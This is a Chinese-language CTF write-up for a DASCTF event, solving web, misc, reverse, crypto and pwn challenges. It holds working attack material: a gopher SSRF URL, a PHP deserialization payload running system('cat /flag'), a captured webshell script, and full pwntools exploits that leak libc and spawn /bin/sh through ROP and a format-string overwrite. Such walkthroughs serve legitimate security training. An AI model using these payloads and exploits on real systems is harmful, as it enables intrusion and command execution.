有些卷的比赛,没想到最后一秒能被反超…
1-1
直接url解密
1-2
图片解密
winhex直接出
web1:盲注猜文件
import string
import requests
url="http://127.0.0.1/?g="
strings=string.digits+string.ascii_letters+"{}"
print(strings)
#长度限制为四位
already_know="DASCTF{"
start="TF{"
while True:
for i in strings:
payload=start+i
r=requests.get(url+payload)
if "not" not in r.text:
already_know+=i
print(already_know)
start=start[1:]+i
web2:ssrf
POST /?a=ls HTTP/1.1
Host: 172.73.23.100
Connection: close
Referer: dasctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
dasctf=flag
直接打就ok
http://43.138.39.179:20000/?url=gopher://172.73.23.100:80/_%2550%254f%2553%2554%2520%252f%253f%2561%253d%256c%2573%2520%2548%2554%2554%2550%252f%2531%252e%2531%250d%250a%2548%256f%2573%2574%253a%2520%2531%2537%2532%252e%2537%2533%252e%2532%2533%252e%2531%2530%2530%250d%250a%2543%256f%256e%256e%2565%2563%2574%2569%256f%256e%253a%2520%2563%256c%256f%2573%2565%250d%250a%2552%2565%2566%2565%2572%2565%2572%253a%2520%2564%2561%2573%2563%2574%2566%252e%2563%256f%256d%250d%250a%2543%256f%256e%2574%2565%256e%2574%252d%2554%2579%2570%2565%253a%2520%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2578%252d%2577%2577%2577%252d%2566%256f%2572%256d%252d%2575%2572%256c%2565%256e%2563%256f%2564%2565%2564%250d%250a%2543%256f%256e%2574%2565%256e%2574%252d%254c%2565%256e%2567%2574%2568%253a%2520%2531%2531%250d%250a%250d%250a%2564%2561%2573%2563%2574%2566%253d%2566%256c%2561%2567
web3:
/hint.php?id=9223372036854661293&file=php://filter/read=convert.base64-encode/resource=index
读index源码
error_reporting(0);
class Evil{
public $flag = 1;
public function __wakeup()
{
$this->flag = 0;
}
public function __destruct()
{
if($this->flag == 1)
{
echo("How you did it?");
$xux = file_get_contents($_GET['xux']);
create_function("",$xux);
}
else{
die("nonono");
}
}
}
$o = $_GET['o'];
if(isset($o))
{
unserialize($o);
}
不能用cve绕
参照这个绕过__wakeup
https://bugs.php.net/bug.php?id=81151
/index.php?o=C%3A4%3A%22Evil%22%3A2%3A%7Bs%3A4%3A%22flag%22%3Bi%3A1%3B%7D&xux=data://text/plain,;}system("cat+/flag");/*
获得flag
misc1
1.把png高度改一下就看到压缩包密码
2.解压出来那个改成.ppt
misc2
打开流量,发现chr流量特征,解密
@ini_set("display_errors","0");@set_time_limit(0);functionasenc($out){return@base64_encode($out);};functionasoutput(){$output=ob_get_contents();ob_end_clean();echo"5b3"."ed02";echo@asenc($output);echo"f46cf"."2253ac";}ob_start();try{$D=base64_decode(substr($_POST["vb00375a68a239"],2));$F=@opendir($D);if($F==NULL){echo("ERROR://PathNotFoundOrNoPermission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.$N;$T=@date("Y-m-dH:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R=" ".$T." ".@filesize($P)." ".$E."
";if(@is_dir($P))$M.=$N."/".$R;else$L.=$N.$R;}echo$M.$L;@closedir($F);};}catch(Exception$e){echo"ERROR://".$e->getMessage();};asoutput();die();
发现会对结果进行输出
echo"5b3"."ed02";echo@asenc($output);echo"f46cf"."2253ac";
去掉头尾进行部分解密,发现所有的都输出的目录
直接解密最后几个,发现有读到a.txt。
这里翻看了很久a.txt都没发现,发现在chr的末尾会读一串字符串,输出方式是把内容base64加密后,添加两位,上面解密的代码也有
$D=base64_decode(substr($_POST["vb00375a68a239"],2));
其中内容是把部分字符串写入到a.txt中。
这里全部手工提取出来,发现每隔两个一个重复。写个脚本,直接解密,看到是base32编码,再解密是base64,再解密得到flag。这里直接写了个脚本
import base64
data = []
with open('./1.txt','r') as f:
for i in f.readlines():
data.append(base64.b64decode(str(i[2:])))
flag = ''
for i in range(0,len(data),2):
flag += str(data[i]).split(' ')[3]
print(base64.b64decode(base64.b32decode(flag)))
# KJCUMVCRGFJEOZL2JJWE2V2RGNMW2SLXJZLVCM2ONJWGUTLNJZVU2VCBPBHFIZDIJZVFSMCOIRSGQTKHKJVWMUJ5HU======
RE1
简单的汇编代码
a=[97,56,47,56,53,99,53,100,97,100,99,97,98,99,53,101,56,50,55,50,48,53,55,98,96,55,56,55,55,48,52,98]
for i in a:
print(chr(i+1),end='')
RE2
不断调试跟踪到main函数
__int64 sub_40175D()
{
int v0; // eax
__int64 v2[11]; // [rsp+20h] [rbp-70h] BYREF
int v3; // [rsp+78h] [rbp-18h]
int v4; // [rsp+7Ch] [rbp-14h]
__int64 v5; // [rsp+80h] [rbp-10h]
int j; // [rsp+88h] [rbp-8h]
int i; // [rsp+8Ch] [rbp-4h]
((void (*)(void))unk_401970)();
v5 = ((__int64 (__fastcall *)(__int64))unk_402E70)(32i64);
((void (__fastcall *)(char *))unk_402E60)(aPleaseInputThe);
((void (__fastcall *)(void *, __int64))unk_402E58)(&unk_405017, v5);
v4 = ((__int64 (__fastcall *)(__int64))unk_402E48)(v5);
if ( (v4 & 7) != 0 )
v0 = v4 / 8 + 1;
else
v0 = v4 / 8;
v3 = v0;
for ( i = 0; i < dword_404098; ++i )
{
if ( i >= v3 )
v2[i] = 0i64;
else
((void (__fastcall *)(__int64 *, __int64, __int64))unk_402E38)(&v2[i], v5 + 8 * i, 8i64);
}
sub_401560(v2, dword_404098, (__int64)&unk_404020);
for ( j = 0; j < v4; ++j )
{
if ( *((_BYTE *)v2 + j) != byte_4040A0[j] )
{
((void (__fastcall *)(char *))unk_402E60)(aWrong);
break;
}
}
if ( j == v4 )
((void (__fastcall *)(char *))unk_402E60)(aRight);
return 0i64;
}
关键加密算法
unsigned __int64 __fastcall sub_401560(_QWORD *a1, int a2, __int64 a3)
{
unsigned __int64 *v3; // rax
unsigned __int64 *v4; // rax
unsigned __int64 result; // rax
__int64 v6; // [rsp+8h] [rbp-28h]
__int64 v7; // [rsp+10h] [rbp-20h]
unsigned __int64 i; // [rsp+18h] [rbp-18h]
unsigned __int64 v9; // [rsp+20h] [rbp-10h]
unsigned __int64 v10; // [rsp+28h] [rbp-8h]
v7 = 52 / a2 + 6;
v9 = 0i64;
v10 = a1[a2 - 1];
do
{
v9 += 2654436025i64;
v6 = (v9 >> 2) & 3;
for ( i = 0i64; i < a2 - 1; ++i )
{
v3 = &a1[i];
*v3 += ((a1[i + 1] ^ v9) + (v10 ^ *(_QWORD *)(8 * (v6 ^ i & 0xA) + a3))) ^ (((8i64 * a1[i + 1]) ^ (v10 >> 4))
+ ((a1[i + 1] >> 4) ^ (8 * v10)));
v10 = *v3;
}
v4 = &a1[a2 - 1];
*v4 += ((*a1 ^ v9) + (v10 ^ *(_QWORD *)(8 * (v6 ^ i & 0xA) + a3))) ^ (((8i64 * *a1) ^ (v10 >> 4))
+ ((*a1 >> 4) ^ (8 * v10)));
result = *v4;
v10 = result;
--v7;
}
while ( v7 );
return result;
}
对照这个加密算法写出解密算法
#include
unsigned int len = 0xa;
unsigned __int64 dt = 0x9E377AB9;
unsigned int key[] = {82, 51, 118, 69, 114, 115, 51, 95, 49, 83, 95, 69, 97, 83, 121, 10};
unsigned __int64 enc[] =
{
13642685598377058827, 5817412076662707594, 2331052441392477015, 15896464891326163138, 13746579725899033479, 3806052838733117805, 7464345494307851357, 15880875776179112847, 8981812132120094190, 462517800415764379
};
void de_xxtea()
{
unsigned __int64 sum = 0x6cc6245f3;
do
{
unsigned char sum1 = (unsigned char)(sum >> 2)&3;
enc[len-1] -= ((key[(len-1)&0xa^sum1]^enc[len-2])+(enc[0]^sum)) ^ (((enc[0] << 3)^(enc[len-2]>>4))+((enc[len-2] << 3)^(enc[0]>>4)));
int i = len-2;
do
{
enc[i] -= ((key[i&0xa^sum1]^enc[i-1])+(enc[i+1]^sum)) ^ (((enc[i+1] << 3)^(enc[i-1]>>4))+((enc[i-1] << 3)^(enc[i+1]>>4)));
i--;
}while(i != 0);
enc[0] -= ((key[0&0xa^sum1]^enc[len-1])+(enc[1]^sum)) ^ (((enc[1] << 3)^(enc[len-1]>>4))+((enc[len-1] << 3)^(enc[1]>>4)));
sum -= dt;
}while(sum != 0);
}
int main()
{
int i = 0;
de_xxtea();
for(i = 0; i < 0xa; i++)
{
printf("%lx, ", enc[i]);
}
}
解密得到:5f4e7552, 6d334d5f, 455f5331, 0, 0, 0, 0, 0, 0, 0
小端序转化一下就是flag
RuN_Fil3_M3mOrY_1S_EaSy
一个简单的rsa
rssssa9
coppersmith解部分明文
from Crypto.Util.number import *
n = 78143938921360185614860462235112355256968995028076215097413461371745388165946555700961349927305255136527151965763804585057604387898421720879593387223895933656350645970498558271551701970896688207206809537892771605339961799334047604053282371439410751334173463317244016213693285842193635136764938802757014669091
m = 1906077032611187208365446696459387107800629785754941498024021333398862239730761050657886407994645536780849
c = 50130000135496687335562420162077023127865865388254124043997590968769445787929013990729805222613912997653046528125102370938788632651827553831996692788561639714991297669155839231144254658035090111092408296896778962224040765239997700906745359526477039359317216610131441370663885646599680838617778727787254679678
S.<x>=PolynomialRing(Zmod(n))
f=x*2^350+m
g=(f^3-c).monic()
r=int(g.small_roots(X=2^128)[0])
m=r*2^350+m
m=long_to_bytes(m).decode()[:-20]
flag='DASCTF{%s}'%m
assert len(flag)==40
print(flag)
pwn1
先跑出随机数. 因为种子固定, 随机数序列不变, 一次次尝试就可以了
脚本:
#! /usr/bin/python2
# coding=utf-8
import sys
from pwn import *
import base64
#context.log_level = 'debug'
context(arch='amd64', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
def Connect():
return remote("101.42.177.225", 54800)
def Send(sh, n):
sh.recvuntil("our number")
sh.sendline(str(n))
known = [83, 83, 90, 46, 1, 75, 41, 77, 96, 15]
def Try(i):
sh = Connect()
for n in known:
Send(sh, n)
Send(sh, i)
sh.recvuntil("\n")
res = sh.recv(1)
sh.close()
if res=="f":
return False
else:
return True
while len(known)<10:
for i in range(100):
if Try(i):
known.append(i)
print("="*0x30+str(i))
break
print(known)
sh.interactive()
后续跑本地是发现libc个ubuntu20.04的一样
因此只需要让cqde(sz+0x10)+0x1E
发生溢出变成小的数就可以溢出, 假设要让其变为0, 那么有
cqde(sz+0x10)+0x1E = 0
cqde(sz+0x10) = -0x1E = 0xffffffffffffffe2 (补码转16进制)
sz+0x10 = 0xFFFFFFe2
sz = 0xFFFFFFD2 = -46 (16进制转补码)
后面就产生了栈溢出, 但是read(0, buf, sz)因为地址位置会直接被拒绝执行
后续经过测试发现没法让sz为正数, 本题实际是通过整数溢出控制rsp, read(0, msg, sz)是废的
令rsp在rbp上面, 把rsp迁移到name的缓冲区中间, 通过read(0, name, 0x30)控制栈, 就可以开启ROP了
通过puts(GOT)泄露函数地址, 找到libc
#! /usr/bin/python2
# coding=utf-8
import sys
from pwn import *
import base64
context.log_level = 'debug'
context(arch='amd64', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
known = [83, 83, 90, 46, 1, 75, 41, 77, 96, 15]
if(len(sys.argv)==1): #local
cmd = ["./pwn"]
sh = process(cmd)
else: #remtoe
sh = remote("101.42.177.225", 54800)
def Send(sh, n):
sh.recvuntil("your number")
sh.sendline(str(n))
for n in known:
Send(sh, n)
def GDB():
gdb.attach(sh, '''
#break *0x400A59
break *0x400936
conti
''')
#GDB()
sh.recvuntil("So, give me a size: ")
sh.sendline(str(-0x40-0x10))
rdi = 0x400b43 # pop rdi; ret;
rsi = 0x400b41 # pop rsi; pop r15; ret;
exp = flat(0)
exp+= flat(rdi, elf.got['srand'], elf.plt['puts'])
exp+= flat(0x400937) # return to main
sh.recvuntil('Leave your name: \n')
sh.send(exp)
libc.address = u64(sh.recv(6)+'\x00'*2)-0x43bb0
Log("libc.address")
# main 2
for n in known:
Send(sh, n)
sh.recvuntil("So, give me a size: ")
sh.sendline(str(-0x40-0x10))
exp = flat(0)
exp+= flat(libc.address+0x4F2C5)
sh.recvuntil('Leave your name: \n')
sh.send(exp)
sh.interactive()
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
pwn3
#coding:utf-8
import sys
from pwn import *
from ctypes import CDLL
context.log_level='debug'
elfelf='./shortcut'
#context.arch='amd64'
while True :
# try :
elf=ELF(elfelf)
context.arch=elf.arch
gdb_text='''
telescope $rebase(0x202040) 16
b sprintf
'''
if len(sys.argv)==1 :
clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')
io=process(elfelf)
gdb_open=1
# io=process(['./'],env={'LD_PRELOAD':'./'})
clibc.srand(clibc.time(0))
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so')
one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
else :
clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')
io=remote('127.0.0.1',10000)
gdb_open=0
clibc.srand(clibc.time(0))
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so')
one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
def gdb_attach(io,a):
if gdb_open==1 :
gdb.attach(io,a)
def choice(a):
io.sendlineafter('Please tell me your choice:\n',str(a))
def add(b):
choice(1)
io.sendafter('shortcut:',b)
io.recvuntil('\n')
io.sendline('1')
def show():
choice(2)
def delete(a):
choice(3)
io.sendlineafter('shortcut:\n',str(a))
add('%14$p')
add('aaaa')
add('aaaa')
show()
io.recvuntil('0x')
elf_base=int(io.recv(12),16)-0x10dc
system_addr=elf_base+elf.plt['system']
delete(1)
add('%80c'+p64(system_addr))
# delete(0)
# add('%48c'+'/bin/sh\x00')
delete(0)
add('%96c'+'/bin/sh\x00')
choice(4)
gdb_attach(io,gdb_text)
pause()
io.sendafter('shortcut:\n','/bin/sh\x00')
# libc_base=u64(io.recvuntil('\x7f')[-6:]+'\x00\x00')-libc.sym['__malloc_hook']-88-0x10
# libc.address=libc_base
# bin_sh_addr=libc.search('/bin/sh\x00').next()
# system_addr=libc.sym['system']
# free_hook_addr=libc.sym['__free_hook']
success('elf_base:'+hex(elf_base))
# success('heap_base:'+hex(heap_base))
io.interactive()
# except Exception as e:
# io.close()
# continue
# else:
# continue